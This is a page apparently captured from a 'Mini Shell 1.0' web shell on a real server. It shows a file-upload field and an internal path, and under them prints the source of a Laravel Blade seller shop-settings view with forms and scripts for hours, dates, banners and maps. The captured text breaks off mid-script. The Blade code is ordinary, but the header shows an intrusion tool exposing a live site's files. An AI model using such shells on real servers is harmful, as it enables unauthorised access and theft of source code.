HOME


Mini Shell 1.0
Negocios La Pieza.DO | Registrate o Inicia Sesión

Inicie Sesión en su Cuenta de Negocios

Olvidó Contraseña?
DIR: /var/www/devs.lapieza.net/resources/views/seller/
Upload File :
Current File : /var/www/devs.lapieza.net/resources/views/seller/shop.blade.php
@extends('seller.layouts.app')





@section('panel_content')





    <div class="aiz-titlebar mt-2 mb-4">


        <div class="row align-items-center">


            <div class="col-md-6">


                <h1 class="h3">{{ translate('Shop Settings') }}


                    <span class="ml-3 fs-13">(<a href="{{ route('shop.visit', $shop->slug) }}" class="btn btn-link btn-sm px-0"


                            target="_blank">{{ translate('Visit Shop') }} <i class="las la-arrow-right"></i></a>)</span>


                </h1>


            </div>


        </div>


    </div>





    <!-- Basic Info -->


    <div class="card">


        <div class="card-header">


            <h5 class="mb-0 h6">{{ translate('Basic Info') }}</h5>


        </div>


        <div class="card-body">


            <form class="" action="{{ route('seller.shop.update') }}" method="POST" enctype="multipart/form-data">


                <input type="hidden" name="shop_id" value="{{ $shop->id }}">


                @csrf


                <div class="row">


                    <label class="col-md-2 col-form-label">{{ translate('Shop Name') }}<span


                            class="text-danger text-danger">*</span></label>


                    <div class="col-md-10">


                        <input type="text" class="form-control mb-3" placeholder="{{ translate('Shop Name') }}"


                            name="name" value="{{ $shop->name }}" required>


                    </div>


                </div>


                <div class="row mb-3">


                    <label class="col-md-2 col-form-label">{{ translate('Shop Logo') }}</label>


                    <div class="col-md-10">


                        <div class="input-group" data-toggle="aizuploader" data-type="image">


                            <div class="input-group-prepend">


                                <div class="input-group-text bg-soft-secondary font-weight-medium">


                                    {{ translate('Browse') }}</div>


                            </div>


                            <div class="form-control file-amount">{{ translate('Choose File') }}</div>


                            <input type="hidden" name="logo" value="{{ $shop->logo }}" class="selected-files">


                        </div>


                        <div class="file-preview box sm">


                        </div>


                    </div>


                </div>


                <div class="row">


                    <div class="col-md-2">


                        <label>{{ translate('Shop Phone') }} <span class="text-danger">*</span></label>


                    </div>


                    <div class="col-md-10">


                        <input type="text" class="form-control mb-3" placeholder="{{ translate('Phone') }}"


                            name="phone" value="{{ $shop->phone }}" required>


                    </div>


                </div>


                <div class="row">


                    <label class="col-md-2 col-form-label">{{ translate('Shop Address') }} <span


                            class="text-danger text-danger">*</span></label>


                    <div class="col-md-10">


                        <input type="text" class="form-control mb-3" placeholder="{{ translate('Address') }}"


                            name="address" value="{{ $shop->address }}" required>


                    </div>


                </div>


                @if (get_setting('shipping_type') == 'seller_wise_shipping')


                    <div class="row">


                        <div class="col-md-2">


                            <label>{{ translate('Shipping Cost') }} <span class="text-danger">*</span></label>


                        </div>


                        <div class="col-md-10">


                            <input type="number" lang="en" min="0" class="form-control mb-3"


                                placeholder="{{ translate('Shipping Cost') }}" name="shipping_cost"


                                value="{{ $shop->shipping_cost }}" required>


                        </div>


                    </div>


                @endif


                <div class="row">


                    <label class="col-md-2 col-form-label">{{ translate('Meta Title') }}<span


                            class="text-danger text-danger">*</span></label>


                    <div class="col-md-10">


                        <input type="text" class="form-control mb-3" placeholder="{{ translate('Meta Title') }}"


                            name="meta_title" value="{{ $shop->meta_title }}" required>


                    </div>


                </div>


                <div class="row">


                    <label class="col-md-2 col-form-label">{{ translate('Meta Description') }}<span


                            class="text-danger text-danger">*</span></label>


                    <div class="col-md-10">


                        <textarea name="meta_description" rows="3" class="form-control mb-3" required>{{ $shop->meta_description }}</textarea>


                    </div>


                </div>


                <div class="form-group mb-0 text-right">


                    <button type="submit" class="btn btn-sm btn-primary">{{ translate('Save') }}</button>


                </div>


            </form>


        </div>


    </div>





    <!-- Delivery Boy Pickup Point -->


    @if (addon_is_activated('delivery_boy'))


        <div class="card">


            <div class="card-header">


                <h5 class="mb-0 h6">{{ translate('Delivery Boy Pickup Point') }}</h5>


            </div>


            <div class="card-body">


                <form class="" action="{{ route('seller.shop.update') }}" method="POST"


                    enctype="multipart/form-data">


                    <input type="hidden" name="shop_id" value="{{ $shop->id }}">


                    @csrf





                    @if (get_setting('google_map') == 1)


                        <div class="row mb-3">


                            <input id="searchInput" class="controls" type="text"


                                placeholder="{{ translate('Enter a location') }}">


                            <div id="map"></div>


                            <ul id="geoData">


                                <li style="display: none;">{{ translate('Full Address') }}: <span id="location"></span>


                                </li>


                                <li style="display: none;">{{ translate('Postal Code') }}: <span id="postal_code"></span>


                                </li>


                                <li style="display: none;">{{ translate('Country') }}: <span id="country"></span></li>


                                <li style="display: none;">{{ translate('Latitude') }}: <span id="lat"></span></li>


                                <li style="display: none;">{{ translate('Longitude') }}: <span id="lon"></span>


                                </li>


                            </ul>


                        </div>


                        <div class="row">


                            <div class="col-md-2" id="">


                                <label for="exampleInputuname">{{ translate('Longitude') }}</label>


                            </div>


                            <div class="col-md-10" id="">


                                <input type="text" class="form-control mb-3" id="longitude"


                                    name="delivery_pickup_longitude" readonly=""


                                    value="{{ $shop->delivery_pickup_longitude }}">


                            </div>


                        </div>


                        <div class="row">


                            <div class="col-md-2" id="">


                                <label for="exampleInputuname">{{ translate('Latitude') }}</label>


                            </div>


                            <div class="col-md-10" id="">


                                <input type="text" class="form-control mb-3" id="latitude"


                                    name="delivery_pickup_latitude" readonly=""


                                    value="{{ $shop->delivery_pickup_latitude }}">


                            </div>


                        </div>


                    @else


                        <div class="row">


                            <div class="col-md-2" id="">


                                <label for="exampleInputuname">{{ translate('Longitude') }}</label>


                            </div>


                            <div class="col-md-10" id="">


                                <input type="text" class="form-control mb-3" id="longitude"


                                    name="delivery_pickup_longitude" value="{{ $shop->delivery_pickup_longitude }}">


                            </div>


                        </div>


                        <div class="row">


                            <div class="col-md-2" id="">


                                <label for="exampleInputuname">{{ translate('Latitude') }}</label>


                            </div>


                            <div class="col-md-10" id="">


                                <input type="text" class="form-control mb-3" id="latitude"


                                    name="delivery_pickup_latitude" value="{{ $shop->delivery_pickup_latitude }}">


                            </div>


                        </div>


                    @endif





                    <div class="form-group mb-0 text-right">


                        <button type="submit" class="btn btn-sm btn-primary">{{ translate('Save') }}</button>


                    </div>


                </form>


            </div>


        </div>


    @endif





    {{-- HORARIO SETTINGS --}}





    <div class="row">


        <div class="col-md-6">


            <div class="card">


                <div class="card-header">


                    <h5 class="mb-0 h6">Horario de la Tienda</h5>


                    {{-- <button onclick="toggleForm()" class="btn btn-sm btn-primary">Mostrar/Ocultar</button> --}}


                    <button type="button" class="btn btn-primary float-right" data-toggle="modal" data-target="#createModal">Crear</button>


                </div>





                <div class="card-body">











                    <div class="table-responsive-sm">





                        <table id="horario_tienda" class="table">
                            <thead class="thead-dark">
                                <tr>
                                    <th>Dia</th>
                                    <th>Apertura</th>
                                    <th>Cierre</th>
                                    <th class="text-center">Actividad</th>
                                    <th class="text-center">Acciones</th>
                                </tr>
                            </thead>
                            <tbody>
                                @foreach ($businessWorkingHours as $workingHours)
                                    <tr>
                                        <th scope="row">
                                            {{ $diasSemanaspanis[array_search($workingHours->dia_semana, $diasSemana)] }}
                                        </th>
                                        <td>{{ date('h:i A', strtotime($workingHours->hora_inicio)) }}</td>
                                        <td>{{ date('h:i A', strtotime($workingHours->hora_fin)) }}</td>
                                        <td class="text-center">
                                            @if ($workingHours->laborable)
                                                <div class="alert alert-success" role="alert">Activo</div>
                                            @else
                                                <div class="alert alert-danger" role="alert">Desactivado</div>
                                            @endif
                                        </td>
                                        <td class="text-center">
                                            <button type="button" class="btn btn-success btn-sm" data-toggle="modal"
                                                data-target="#editModal_{{ $workingHours->id }}">Editar</button>
                                        </td>
                                    </tr>

                                    <!-- Modal de editar -->
                                    <div class="modal fade" id="editModal_{{ $workingHours->id }}" tabindex="-1" role="dialog"
                                        aria-labelledby="createModalLabel" aria-hidden="true">
                                        <div class="modal-dialog" role="document">
                                            <div class="modal-content">
                                                <div class="modal-header">
                                                    <h5 class="modal-title" id="createModalLabel">Editar Horario Laboral del Negocio</h5>
                                                    <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                                                        <span aria-hidden="true">&times;</span>
                                                    </button>
                                                </div>
                                                <form class="working-hours-form" data-id="{{ $workingHours->id }}"
                                                    action="{{ route('seller.business_working_hours.update', $workingHours->id) }}" method="POST">
                                                    @csrf
                                                    @method('PUT')
                                                    <div class="modal-body">
                                                        <div class="form-group">
                                                            <label for="hora_inicio_{{ $workingHours->id }}">Hora de apertura:</label>
                                                            <input type="text" class="form-control timepicker hora_inicio"
                                                                name="hora_inicio" id="hora_inicio_{{ $workingHours->id }}"
                                                                value="{{ \Carbon\Carbon::parse($workingHours->hora_inicio)->format('h:i A') }}">
                                                        </div>
                                                        <div class="form-group">
                                                            <label for="hora_fin_{{ $workingHours->id }}">Hora de cierre:</label>
                                                            <input type="text" class="form-control timepicker hora_fin"
                                                                name="hora_fin" id="hora_fin_{{ $workingHours->id }}"
                                                                value="{{ \Carbon\Carbon::parse($workingHours->hora_fin)->format('h:i A') }}">
                                                        </div>
                                                        <div class="form-group">
                                                            <label for="laborable_{{ $workingHours->id }}">Actividad del día</label>
                                                            <select class="form-control" name="laborable" id="laborable_{{ $workingHours->id }}">
                                                                <option value="1" @if ($workingHours->laborable == 1) selected @endif>Activo</option>
                                                                <option value="0" @if ($workingHours->laborable == 0) selected @endif>Desactivo</option>
                                                            </select>
                                                        </div>
                                                    </div>
                                                    <div class="modal-footer">
                                                        <button type="button" class="btn btn-secondary" data-dismiss="modal">Cerrar</button>
                                                        <button type="submit" class="btn btn-primary">Guardar</button>
                                                    </div>
                                                </form>
                                            </div>
                                        </div>
                                    </div>
                                @endforeach
                            </tbody>
                        </table>




                    </div>





                    {{-- MODAL DE CREAR --}}





                   <!-- Modal para crear horario laboral -->
<div class="modal fade" id="createModal" tabindex="-1" role="dialog" aria-labelledby="createModalLabel" aria-hidden="true">
    <div class="modal-dialog" role="document">
        <div class="modal-content">
            <div class="modal-header">
                <h5 class="modal-title" id="createModalLabel">Crear Horario Laboral del Negocio</h5>
                <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                    <span aria-hidden="true">&times;</span>
                </button>
            </div>
            <form id="createFormWorkingHours" action="{{ route('seller.business_working_hours.store') }}" method="POST" class="working-hours-form">
                @csrf
                <div class="modal-body">
                    <div class="form-group">
                        <label for="dia_semana">Día de la semana:</label>
                        <select class="form-control" id="dia_semana" name="dia_semana">
                            @foreach ($diasSemanaspanis as $key => $dia)
                                @if (!$businessWorkingHours->contains('dia_semana', $diasSemana[$key]))
                                    <option value="{{ $diasSemana[$key] }}">{{ $dia }}</option>
                                @endif
                            @endforeach
                        </select>
                        @error('dia_semana')
                            <div class="text-danger">{{ $message }}</div>
                        @enderror
                    </div>

                    <div class="form-group">
                        <label for="hora_inicio">Hora de apertura:</label>
                        <input type="text" class="form-control timepicker" id="hora_inicio" name="hora_inicio">
                        @error('hora_inicio')
                            <div class="text-danger">{{ $message }}</div>
                        @enderror
                    </div>

                    <div class="form-group">
                        <label for="hora_fin">Hora de cierre:</label>
                        <input type="text" class="form-control timepicker" id="hora_fin" name="hora_fin">
                        @error('hora_fin')
                            <div class="text-danger">{{ $message }}</div>
                        @enderror
                    </div>

                    <div class="form-group">
                        <label for="laborable">Actividad del día</label>
                        <select class="form-control" id="laborable" name="laborable">
                            <option value="1">Activo</option>
                            <option value="0">Desactivo</option>
                        </select>
                        @error('laborable')
                            <div class="text-danger">{{ $message }}</div>
                        @enderror
                    </div>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-secondary" data-dismiss="modal">Cerrar</button>
                    <button type="submit" class="btn btn-primary">Guardar</button>
                </div>
            </form>
        </div>
    </div>
</div>

<!-- Script para manejar flatpickr y conversión de hora -->













                </div>


            </div>


        </div>


        <div class="col-md-6">


            <div class="card">


                <div class="card-header">


                    <h5 class="mb-0 h6">Fechas no laborable</h5>


                    {{-- <button onclick="toggleForm()" class="btn btn-sm btn-primary">Mostrar/Ocultar</button> --}}


                    <button type="button" class="btn btn-primary float-right" data-toggle="modal" data-target="#createModalnolaborable">Crear</button>


                </div>





                <div class="card-body">











                    <div class="table-responsive-sm">





                        <table id="fecha_no_laborableeeeee" class="table">


                            <thead class="thead-dark">


                                <tr>


                                    <th>Fecha</th>


                                    <th>Nota</th>


                                    <th class="text-center">Acciones</th>


                                </tr>


                            </thead>


                            <tbody>


                                @foreach ($businessDateNonWorkings as $nonWorkingDate)


                                <tr>


                                    <td class="text-nowrap">{{ \Carbon\Carbon::parse($nonWorkingDate->fecha_no_laborable)->formatLocalized('%B %e, %Y') }}</td>


                                    <td>{{ $nonWorkingDate->nota }}</td>


                                    <td class="text-center">


                                        <div class="btn-group-vertical">


                                            <button type="button" class="btn btn-success btn-sm" data-toggle="modal" data-target="#editModalnolaborable_{{ $nonWorkingDate->id }}">Editar</button>








                                            <form action="{{ route('seller.business_dates_non_workings.destroy', $nonWorkingDate->id) }}" method="POST">@method('delete')


                                            @csrf





                                            <button type="submit" class="btn btn-danger btn-sm" id="delete">Eliminar</button>





                                            </form>


                                        </div>


                                    </td>


                                </tr>





                                {{-- modal de editar --}}


                                <div class="modal fade" id="editModalnolaborable_{{ $nonWorkingDate->id }}" tabindex="-1" role="dialog" aria-labelledby="editModalLabel" aria-hidden="true">


                                    <div class="modal-dialog" role="document">


                                        <div class="modal-content">


                                            <div class="modal-header">


                                                <h5 class="modal-title" id="editModalLabel">Editar fechas no laborable</h5>


                                                <button type="button" class="close" data-dismiss="modal" aria-label="Close">


                                                    <span aria-hidden="true">&times;</span>


                                                </button>


                                            </div>


                                            <form action="{{ route('seller.business_dates_non_workings.update', $nonWorkingDate->id) }}" method="POST">


                                                @csrf


                                                @method('PUT')


                                                <div class="modal-body">


                                                    <div class="form-group">


                                                        <label for="fecha_no_laborable">Fecha no laborable</label>


                                                        <input type="date" class="form-control" id="fecha_no_laborable" name="fecha_no_laborable" value="{{ $nonWorkingDate->fecha_no_laborable }}" required>


                                                        @error('fecha_no_laborable')


                                                        <div class="text-danger">{{ $message }}</div>


                                                        @enderror


                                                    </div>


                                                    <div class="form-group">


                                                        <label for="nota">Nota</label>


                                                        <input type="text" class="form-control" id="nota" name="nota" value="{{ $nonWorkingDate->nota }}">


                                                        @error('nota')


                                                        <div class="text-danger">{{ $message }}</div>


                                                        @enderror


                                                    </div>


                                                </div>


                                                <div class="modal-footer">


                                                    <button type="button" class="btn btn-secondary" data-dismiss="modal">Cerrar</button>


                                                    <button type="submit" class="btn btn-primary">Guardar</button>


                                                </div>


                                            </form>


                                        </div>


                                    </div>


                                </div>


                                @endforeach


                            </tbody>


                        </table>





                    </div>








                    {{-- modal de crear --}}


                    <div class="modal fade" id="createModalnolaborable" tabindex="-1" role="dialog" aria-labelledby="createModalLabel" aria-hidden="true">


                        <div class="modal-dialog" role="document">


                            <div class="modal-content">


                                <div class="modal-header">


                                    <h5 class="modal-title" id="createModalLabel">Crear fechas no laborable</h5>


                                    <button type="button" class="close" data-dismiss="modal" aria-label="Close">


                                        <span aria-hidden="true">&times;</span>


                                    </button>


                                </div>


                                <form action="{{ route('seller.business_dates_non_workings.store') }}" method="POST">


                                    @csrf


                                    <div class="modal-body">





                                            <div class="form-group">


                                                <label for="fecha_no_laborable">Fecha no laborable</label>


                                                <input type="date" class="form-control" id="fecha_no_laborable" name="fecha_no_laborable" required>


                                                @error('fecha_no_laborable')


                                                <div class="text-danger">{{ $message }}</div>


                                                @enderror


                                            </div>


                                            <div class="form-group">


                                                <label for="nota">Nota</label>


                                                <input type="text" class="form-control" id="nota" name="nota">


                                                @error('nota')


                                                <div class="text-danger">{{ $message }}</div>


                                                @enderror


                                            </div>








                                    </div>


                                    <div class="modal-footer">


                                        <button type="button" class="btn btn-secondary" data-dismiss="modal">Cerrar</button>


                                        <button type="submit" class="btn btn-primary">Guardar</button>


                                    </div>


                                </form>


                            </div>


                        </div>


                    </div>








                </div>


            </div>


        </div>


    </div>








    {{-- HORARIO SETTINGS --}}














    <!-- Banner Settings -->


    <div class="card">


        <div class="card-header">


            <h5 class="mb-0 h6">{{ translate('Banner Settings') }}</h5>


        </div>


        <div class="card-body">


            <form class="" action="{{ route('seller.shop.update') }}" method="POST"


                enctype="multipart/form-data">


                <input type="hidden" name="shop_id" value="{{ $shop->id }}">


                @csrf


                <!-- Top Banner -->


                <div class="row mb-3">


                    <label class="col-md-2 col-form-label">{{ translate('Top Banner') }} (1920x360)</label>


                    <div class="col-md-10">


                        <div class="input-group" data-toggle="aizuploader" data-type="image">


                            <div class="input-group-prepend">


                                <div class="input-group-text bg-soft-secondary font-weight-medium">


                                    {{ translate('Browse') }}</div>


                            </div>


                            <div class="form-control file-amount">{{ translate('Choose File') }}</div>


                            <input type="hidden" name="top_banner" value="{{ $shop->top_banner }}"


                                class="selected-files">


                        </div>


                        <div class="file-preview box sm">


                        </div>


                        <small


                            class="text-muted">{{ translate('We had to limit height to maintian consistancy. In some device both side of the banner might be cropped for height limitation.') }}</small>


                    </div>


                </div>


                <!-- Slider Banners -->


                <div class="row mb-3">


                    <label class="col-md-2 col-form-label">{{ translate('Slider Banners') }} (1500x450)</label>


                    <div class="col-md-10">


                        <div class="input-group" data-toggle="aizuploader" data-type="image" data-multiple="true">


                            <div class="input-group-prepend">


                                <div class="input-group-text bg-soft-secondary font-weight-medium">


                                    {{ translate('Browse') }}</div>


                            </div>


                            <div class="form-control file-amount">{{ translate('Choose File') }}</div>


                            <input type="hidden" name="sliders" value="{{ $shop->sliders }}" class="selected-files">


                        </div>


                        <div class="file-preview box sm">


                        </div>


                        <small


                            class="text-muted">{{ translate('We had to limit height to maintian consistancy. In some device both side of the banner might be cropped for height limitation.') }}</small>


                    </div>


                </div>


                <!-- Banner Full width 1 -->


                <div class="row mb-3">


                    <label class="col-md-2 col-form-label">{{ translate('Banner Full width 1') }}</label>


                    <div class="col-md-10">


                        <div class="input-group" data-toggle="aizuploader" data-type="image" data-multiple="true">


                            <div class="input-group-prepend">


                                <div class="input-group-text bg-soft-secondary font-weight-medium">


                                    {{ translate('Browse') }}</div>


                            </div>


                            <div class="form-control file-amount">{{ translate('Choose File') }}</div>


                            <input type="hidden" name="banner_full_width_1" value="{{ $shop->banner_full_width_1 }}"


                                class="selected-files">


                        </div>


                        <div class="file-preview box sm">


                        </div>


                    </div>


                </div>


                <!-- Banners half width -->


                <div class="row mb-3">


                    <label class="col-md-2 col-form-label">{{ translate('Banners half width') }}


                        ({{ translate('2 Equal Banners') }})</label>


                    <div class="col-md-10">


                        <div class="input-group" data-toggle="aizuploader" data-type="image" data-multiple="true">


                            <div class="input-group-prepend">


                                <div class="input-group-text bg-soft-secondary font-weight-medium">


                                    {{ translate('Browse') }}</div>


                            </div>


                            <div class="form-control file-amount">{{ translate('Choose File') }}</div>


                            <input type="hidden" name="banners_half_width" value="{{ $shop->banners_half_width }}"


                                class="selected-files">


                        </div>


                        <div class="file-preview box sm">


                        </div>


                    </div>


                </div>


                <!-- Banner Full width 2 -->


                <div class="row mb-3">


                    <label class="col-md-2 col-form-label">{{ translate('Banner Full width 2') }}</label>


                    <div class="col-md-10">


                        <div class="input-group" data-toggle="aizuploader" data-type="image" data-multiple="true">


                            <div class="input-group-prepend">


                                <div class="input-group-text bg-soft-secondary font-weight-medium">


                                    {{ translate('Browse') }}</div>


                            </div>


                            <div class="form-control file-amount">{{ translate('Choose File') }}</div>


                            <input type="hidden" name="banner_full_width_2" value="{{ $shop->banner_full_width_2 }}"


                                class="selected-files">


                        </div>


                        <div class="file-preview box sm">


                        </div>


                    </div>


                </div>


                <!-- Save Button -->


                <div class="form-group mb-0 text-right">


                    <button type="submit" class="btn btn-sm btn-primary">{{ translate('Save') }}</button>


                </div>


            </form>


        </div>


    </div>





    <!-- Social Media Link -->


    <div class="card">


        <div class="card-header">


            <h5 class="mb-0 h6">{{ translate('Social Media Link') }}</h5>


        </div>


        <div class="card-body">


            <form class="" action="{{ route('seller.shop.update') }}" method="POST"


                enctype="multipart/form-data">


                <input type="hidden" name="shop_id" value="{{ $shop->id }}">


                @csrf


                <div class="form-box-content p-3">


                    <div class="row mb-3">


                        <label class="col-md-2 col-form-label">{{ translate('Facebook') }}</label>


                        <div class="col-md-10">


                            <input type="text" class="form-control" placeholder="{{ translate('Facebook') }}"


                                name="facebook" value="{{ $shop->facebook }}">


                            <small class="text-muted">{{ translate('Insert link with https ') }}</small>


                        </div>


                    </div>


                    <div class="row mb-3">


                        <label class="col-md-2 col-form-label">{{ translate('Instagram') }}</label>


                        <div class="col-md-10">


                            <input type="text" class="form-control" placeholder="{{ translate('Instagram') }}"


                                name="instagram" value="{{ $shop->instagram }}">


                            <small class="text-muted">{{ translate('Insert link with https ') }}</small>


                        </div>


                    </div>


                    <div class="row mb-3">


                        <label class="col-md-2 col-form-label">{{ translate('Twitter') }}</label>


                        <div class="col-md-10">


                            <input type="text" class="form-control" placeholder="{{ translate('Twitter') }}"


                                name="twitter" value="{{ $shop->twitter }}">


                            <small class="text-muted">{{ translate('Insert link with https ') }}</small>


                        </div>


                    </div>


                    <div class="row mb-3">


                        <label class="col-md-2 col-form-label">{{ translate('Google') }}</label>


                        <div class="col-md-10">


                            <input type="text" class="form-control" placeholder="{{ translate('Google') }}"


                                name="google" value="{{ $shop->google }}">


                            <small class="text-muted">{{ translate('Insert link with https ') }}</small>


                        </div>


                    </div>


                    <div class="row mb-3">


                        <label class="col-md-2 col-form-label">{{ translate('Youtube') }}</label>


                        <div class="col-md-10">


                            <input type="text" class="form-control" placeholder="{{ translate('Youtube') }}"


                                name="youtube" value="{{ $shop->youtube }}">


                            <small class="text-muted">{{ translate('Insert link with https ') }}</small>


                        </div>


                    </div>


                </div>


                <div class="form-group mb-0 text-right">


                    <button type="submit" class="btn btn-sm btn-primary">{{ translate('Save') }}</button>


                </div>


            </form>


        </div>


    </div>





@endsection





    <link rel="stylesheet" type="text/css"


        href="https://cdn.datatables.net/v/bs5/dt-1.13.1/r-2.4.0/datatables.min.css" />















<!-- Scripts de Flatpickr -->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/flatpickr/4.6.13/flatpickr.min.css">
<script src="https://cdnjs.cloudflare.com/ajax/libs/flatpickr/4.6.13/flatpickr.min.js"></script>

<script>
   document.addEventListener('DOMContentLoaded', function () {
    function convertTo24Hour(time12) {
        if (!time12) return '';
        let [time, period] = time12.split(' ');
        let [hours, minutes] = time.split(':').map(num => parseInt(num));
        if (period === 'PM' && hours !== 12) hours += 12;
        if (period === 'AM' && hours === 12) hours = 0;
        return `${hours.toString().padStart(2, '0')}:${minutes.toString().padStart(2, '0')}`;
    }

    function initializeFlatpickrr() {
        let timepickers = document.querySelectorAll('#createModal .timepicker');
        timepickers.forEach(input => {
            flatpickr(input, {
                enableTime: true,
                noCalendar: true,
                dateFormat: "h:i K",
                time_24hr: false,
                allowInput: true,
            });
        });
    }

    // Inicializar Flatpickr cuando se abre el modal
    $('#createModal').on('shown.bs.modal', function () {
        initializeFlatpickrr();
    });

    // Manejar el envío del formulario
    document.getElementById('createFormWorkingHours').addEventListener('submit', function (e) {
        e.preventDefault();

        let horaInicio = document.getElementById('hora_inicio');
        let horaFin = document.getElementById('hora_fin');

        if (!horaInicio || !horaFin) {
            console.error('ERROR No se encontraron los campos de hora en createModal.');
            return;
        }

        const originalInicio = horaInicio.value;
        const originalFin = horaFin.value;

        horaInicio.value = convertTo24Hour(horaInicio.value);
        horaFin.value = convertTo24Hour(horaFin.value);

        this.submit();

        // Restaurar valores originales para evitar confusión visual
        horaInicio.value = originalInicio;
        horaFin.value = originalFin;
    });
});

    </script>

<!-- Script para manejar la conversión de horas -->
<script>
    document.addEventListener('DOMContentLoaded', function() {
    function convertTo24Hour(time12) {
        if (!time12) return '';
        let [time, period] = time12.split(' ');
        let [hours, minutes] = time.split(':').map(num => parseInt(num));
        if (period === 'PM' && hours !== 12) hours += 12;
        if (period === 'AM' && hours === 12) hours = 0;
        return `${hours.toString().padStart(2, '0')}:${minutes.toString().padStart(2, '0')}`;
    }

    function convertTo12Hour(value) {
        if (!value || value.includes('AM') || value.includes('PM')) return value;
        let [hours, minutes] = value.split(':').map(num => parseInt(num) || 0);
        let period = hours >= 12 ? 'PM' : 'AM';
        if (hours > 12) hours -= 12;
        if (hours === 0) hours = 12;
        return `${hours.toString().padStart(2, '0')}:${minutes.toString().padStart(2, '0')} ${period}`;
    }

    function initializeFlatpickr(input) {
        let currentPeriod = input.value.includes('PM') ? 'PM' : 'AM';
        flatpickr(input, {
            enableTime: true,
            noCalendar: true,
            dateFormat: "h:i K",
            time_24hr: false,
            allowInput: true,
            defaultDate: input.value || undefined,
            onClose: function(selectedDates, dateStr, instance) {
                if (dateStr && !dateStr.includes('AM') && !dateStr.includes('PM')) {
                    instance.input.value = dateStr + ' ' + currentPeriod;
                } else if (dateStr) {
                    currentPeriod = dateStr.includes('PM') ? 'PM' : 'AM';
                }
            },
            onChange: function(selectedDates, dateStr, instance) {
                if (dateStr) {
                    currentPeriod = dateStr.includes('PM') ? 'PM' : 'AM';
                }
            }
        });
    }

    // Configurar Flatpickr para todos los inputs de hora
    document.querySelectorAll('.timepicker').forEach(initializeFlatpickr);

    // Interceptar el envío del formulario para convertir a formato 24h
    document.querySelectorAll('.working-hours-form').forEach(form => {
        form.addEventListener('submit', function(e) {
            e.preventDefault();

            const formId = this.dataset.id;
            const horaInicio = document.getElementById(`hora_inicio_${formId}`);
            const horaFin = document.getElementById(`hora_fin_${formId}`);

            if (!horaInicio || !horaFin) {
                console.error(`Error No se encontraron los campos de hora para el formulario con ID ${formId}.`);
                return;
            }

            const originalInicio = horaInicio.value;
            const originalFin = horaFin.value;

            horaInicio.value = convertTo24Hour(horaInicio.value);
            horaFin.value = convertTo24Hour(horaFin.value);

            console.log('Enviando formulario con ID:', formId);
            console.log('Hora de inicio (24h):', horaInicio.value);
            console.log('Hora de fin (24h):', horaFin.value);

            this.submit();

            horaInicio.value = originalInicio;
            horaFin.value = originalFin;
        });
    });
});
</script>

@section('script')


<script type="text/javascript" src="https://cdn.datatables.net/v/bs5/dt-1.13.1/r-2.4.0/datatables.min.js"></script>





<script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script>


<script>


    $(function() {


        $(document).on('click', '#delete', function(e) {


            e.preventDefault();


            var link = $(this).attr("action");


            var form = $(this).closest("form");


            Swal.fire({


                title: '¿Estás seguro?',


                text: "¡No podrás revertir esto!",


                icon: 'warning',


                showCancelButton: true,


                confirmButtonColor: '#3085d6',


                cancelButtonColor: '#d33',


                confirmButtonText: '¡Sí, bórralo!',


                cancelButtonText: 'Cancelar'


            }).then((result) => {


                if (result.value && result.value === true) {


                    form.submit();


                } else if (result.dismiss === Swal.DismissReason.cancel) {


                    Swal.fire({


                        title: "Acción Cancelada",


                        text: "La acción fue cancelada",


                        icon: "info"


                    });


                }


            });


        });


    });


</script>





<script>


    $(document).ready(function() {


        $('#horario_tienda').DataTable({


            responsive: true,


            "autoWidth": false,


            language: {


                searchPlaceholder: "Buscar...",


                search: "",


                url: "//cdn.datatables.net/plug-ins/1.13.1/i18n/es-ES.json",


            },


            'order': [],


            'columnDefs': [{


                    orderable: false,


                    targets: 0


                }, // Disable ordering on column 0 (checkbox)


            ],








        });


    });





</script>





<script>


    $(document).ready(function() {


        $('#fecha_no_laborableeeeee').DataTable({


            responsive: true,


            "autoWidth": false,


            language: {


                searchPlaceholder: "Buscar...",


                search: "",


                url: "//cdn.datatables.net/plug-ins/1.13.1/i18n/es-ES.json",


            },


            'order': [],


            'columnDefs': [{


                    orderable: false,


                    targets: 0


                }, // Disable ordering on column 0 (checkbox)


            ],








        });


    });


</script>














    @if (addon_is_activated('delivery_boy') && get_setting('google_map') == 1)


        <script>


            function initialize(id_format = '') {


                let default_longtitude = '';


                let default_latitude = '';


                @if (get_setting('google_map_longtitude') != '' && get_setting('google_map_longtitude') != '')


                    default_longtitude = {{ get_setting('google_map_longtitude') }};


                    default_latitude = {{ get_setting('google_map_latitude') }};


                @endif





                var lat = -33.8688;


                var long = 151.2195;





                if (document.getElementById('latitude').value != '' &&


                    document.getElementById('longitude').value != '') {


                    lat = parseFloat(document.getElementById('latitude').value);


                    long = parseFloat(document.getElementById('longitude').value);


                } else if (default_longtitude != '' &&


                    default_latitude != '') {


                    lat = default_latitude;


                    long = default_longtitude;


                }








                var map = new google.maps.Map(document.getElementById('map'), {


                    center: {


                        lat: lat,


                        lng: long


                    },


                    zoom: 13


                });





                var myLatlng = new google.maps.LatLng(lat, long);





                var input = document.getElementById(id_format + 'searchInput');


                // console.log(input);


                map.controls[google.maps.ControlPosition.TOP_LEFT].push(input);





                var autocomplete = new google.maps.places.Autocomplete(input);





                autocomplete.bindTo('bounds', map);





                var infowindow = new google.maps.InfoWindow();


                var marker = new google.maps.Marker({


                    map: map,


                    position: myLatlng,


                    anchorPoint: new google.maps.Point(0, -29),


                    draggable: true,


                });





                map.addListener('click', function(event) {


                    marker.setPosition(event.latLng);


                    document.getElementById(id_format + 'latitude').value = event.latLng.lat();


                    document.getElementById(id_format + 'longitude').value = event.latLng.lng();


                    infowindow.setContent('Latitude: ' + event.latLng.lat() + '<br>Longitude: ' + event.latLng.lng());


                    infowindow.open(map, marker);


                });





                google.maps.event.addListener(marker, 'dragend', function(event) {


                    document.getElementById(id_format + 'latitude').value = event.latLng.lat();


                    document.getElementById(id_format + 'longitude').value = event.latLng.lng();


                    infowindow.setContent('Latitude: ' + event.latLng.lat() + '<br>Longitude: ' + event.latLng.lng());


                    infowindow.open(map, marker);


                });





                autocomplete.addListener('place_changed', function() {


                    infowindow.close();


                    marker.setVisible(false);


                    var place = autocomplete.getPlace();





                    if (!place.geometry) {


                        window.alert("Autocomplete's returned place contains no geometry");


                        return;


                    }





                    // If the place has a geometry, then present it on a map.


                    if (place.geometry.viewport) {


